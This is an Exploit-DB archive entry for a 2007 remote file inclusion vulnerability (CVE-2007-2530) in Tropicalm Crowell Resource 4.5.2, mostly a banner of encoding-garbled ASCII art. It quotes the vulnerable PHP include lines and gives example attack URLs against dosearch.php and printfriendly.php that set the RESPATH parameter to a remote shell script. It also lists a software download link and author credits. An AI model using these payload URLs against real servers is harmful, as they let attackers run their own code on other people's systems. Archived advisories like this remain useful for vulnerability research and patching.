标题: Tropicalm Crowell Resource 4.5.2 - 'RESPATH' Remote File Inclusion EDB-ID: 3865 CVE: 2007-2530 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-07 漏洞利用脚本: ##############################################################################################
##############################################################################################
#Â§Â§Â§Â§Â§__________________________________________Â§Â§Â§Â§Â§
Â§Â§Â§Â§Â§Â§Â§Â§_____________________________________Â§Â§Â§Â§Â§Â§Â§
Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_________________________________Â§Â§Â§Â§Â§Â§Â§Â§
Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_____________________________Â§Â§Â§Â§Â§Â§Â§Â§Â§
Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§__________________________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§______________________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§___________________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_________________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_______________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_____________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
___Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§__________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
_____Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_______Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
___________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_____Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
________________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§___Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
_____________________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§__Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
___________________________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_
_____________________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§____
______________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_______
___________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§______
________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§____
______Â§Â§Â§Â§Â§Â§Â§Â§_____Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§___
____Â§Â§Â§Â§Â§Â§Â§Â§Â§_______Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§__
__Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_______Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_
_Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_____Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§
_Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_
__Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_
_____Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§__
_________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§___
_______________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§___
_________________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§____
_________________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§________
________________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_____Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§___________
_________________Â§Â§Â§Â§Â§_________Â§Â§Â§Â§Â§_________Â§Â§Â§Â§Â§__
__________Â§Â§Â§Â§_________Â§Â§Â§Â§____________Â§Â§Â§Â§Â§Â§Â§Â§Â§____
__________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§_____Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§__________
__________Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§Â§___Â§Â§Â§Â§Â§_________________
__________Â§Â§Â§Â§Â§______Â§Â§Â§Â§Â§Â§_________________________
#
#Tropicalm Crowell Resource v4.5.2 <=  Remote File Inclusion Vulnerability
#
#Dork::(
#
#Vuln Code
###################################################################################
#
#ERROR1:dosearch.php
#
#include("$RESPATH/inc/disptmpl1.inc");
#
#BUG1:
#
#Example1:http://site.com/path/dosearch.php?RESPATH=[[Sh3LL Script]]
#
#
#
#ERROR2:printfriendly.php
#
#require_once("$RESPATH/lib/cls/shadow.cls");
#...
#....
#include("$RESPATH/inc/header.inc");
#include("$RESPATH/inc/tabcss.inc"); ?>
#BUG2:
#
#Example2:http://site.com/path/printfriendly.php?RESPATH=[[Sh3LL Script]]
#Script Download
#############################################################################
#
#http://www.tropicalm.net/lib/plug-in/download.php?filename=resdemo.tgz
#
##############################################################################################
#
#kezzap66345@hotmail.com
#
#Special Thanks:##### x0r0n ##### ajan ##### siircicocuk
##Str0ke#############################
##############################################################################################
##############################################################################################

# milw0rm.com [2007-05-07] URL: https://www.exploit-db.com/exploits/3865